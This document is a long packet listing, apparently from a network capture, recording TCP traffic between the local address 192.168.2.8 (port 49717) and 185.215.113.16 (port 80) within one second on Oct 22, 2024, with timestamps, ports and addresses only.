Oct 22, 2024 19:24:37.540112019 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540117025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.540117025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.540117025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.540122986 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540134907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540138960 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.540148020 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540162086 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540174007 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540188074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540196896 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540198088 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.540198088 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.540198088 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.540210962 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540219069 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.540222883 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540234089 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540242910 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.540577888 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.540577888 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.541476965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541492939 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541501999 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541511059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541522980 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541536093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541553020 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541564941 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541575909 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541590929 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541605949 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541615009 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.541615009 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.541615009 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.541615963 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541615009 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.541615009 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.541637897 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541652918 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541663885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541673899 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541688919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541699886 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.541699886 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541699886 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.541699886 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.541711092 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541722059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541733027 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541743040 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541753054 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.541763067 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.541763067 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.541764021 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.542011023 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.542011023 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.542897940 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.543116093 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.543191910 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.543203115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.543334961 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.577805996 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.577820063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.577831030 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.577841997 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.577857971 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.577867031 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578111887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578123093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578130007 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578157902 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578161001 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578161001 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578172922 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578186989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578187943 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578200102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578238964 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578238964 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578268051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578425884 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578438997 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578450918 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578484058 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578579903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578592062 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578603983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578614950 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578628063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578638077 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578638077 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578639984 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578653097 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578661919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578680038 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578680038 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578718901 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578732014 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578742027 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578753948 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578767061 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578773975 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578773975 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578778982 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578790903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.578825951 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.578825951 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.625263929 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.804812908 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.810386896 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.810410976 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.810421944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.810525894 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.828131914 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835361958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835374117 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835385084 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835395098 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835407019 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835468054 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835485935 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835503101 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835520029 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835530043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835539103 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835551023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835557938 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835561991 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835572958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835582972 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835592985 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835597992 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835603952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835613966 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835618019 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835628986 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835640907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835642099 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835642099 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835652113 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835669994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835680962 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835690975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835706949 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835717916 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835717916 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835717916 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835728884 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835738897 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835748911 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835757971 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835767984 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835772991 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835777998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835787058 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835797071 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835797071 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835797071 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835797071 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835815907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835829973 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835839987 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835850954 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835861921 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835872889 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835884094 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835894108 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835900068 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835900068 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835900068 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835900068 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835906029 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835916042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835927010 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835937977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835948944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835957050 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835957050 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835957050 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.835961103 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.835982084 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.836116076 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.836138964 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836148977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836158037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836162090 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836172104 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836182117 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836194038 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836204052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836215973 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836242914 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.836242914 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.836277962 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836287975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836297989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836359978 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.836422920 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836435080 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836443901 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836455107 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836461067 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836538076 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.836538076 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.836570978 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836582899 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836595058 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836688995 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.836724997 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836736917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836746931 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836765051 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.836765051 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.836868048 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836879015 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836889029 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836900949 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836910963 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836920977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836930037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836941004 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836951017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.836956978 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.836956978 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.837013960 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.837023973 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.837023973 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.837024927 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.837037086 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.837085009 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.837188005 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.837199926 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.837208986 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.837218046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.837425947 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.838515997 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.838527918 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.838537931 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.838547945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.838558912 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.838613033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.838613033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.838613033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.838769913 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.838779926 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.838913918 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.838927031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.838937998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.838947058 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.838958025 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.838969946 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.838979006 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.838989973 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839001894 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839011908 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839040995 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.839041948 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.839041948 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.839230061 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839240074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839246035 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839256048 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839277983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839283943 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839293957 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839318037 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.839339972 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.839339972 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.839370966 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839382887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839392900 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839399099 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839404106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839409113 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839447975 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.839564085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839575052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839584112 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839593887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839603901 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839616060 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839626074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839632988 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.839632988 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.839637041 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839648008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839658022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839668989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839705944 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.839797974 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.839911938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839924097 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839934111 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839945078 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839956045 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839966059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839977026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839986086 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.839987993 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.839986086 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.839998960 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.840032101 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.840166092 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840178013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840187073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840198994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840240955 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.840306997 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.840369940 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840379953 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840389967 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840399981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840409994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840420961 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840430975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840450048 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.840451002 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.840497971 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840508938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840517998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840528965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840547085 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.840547085 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.840547085 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.840593100 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:37.840651989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840662003 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840811014 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840821981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840831995 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:37.840853930 CEST	49717	80	192.168.2.8	185.215.113.16
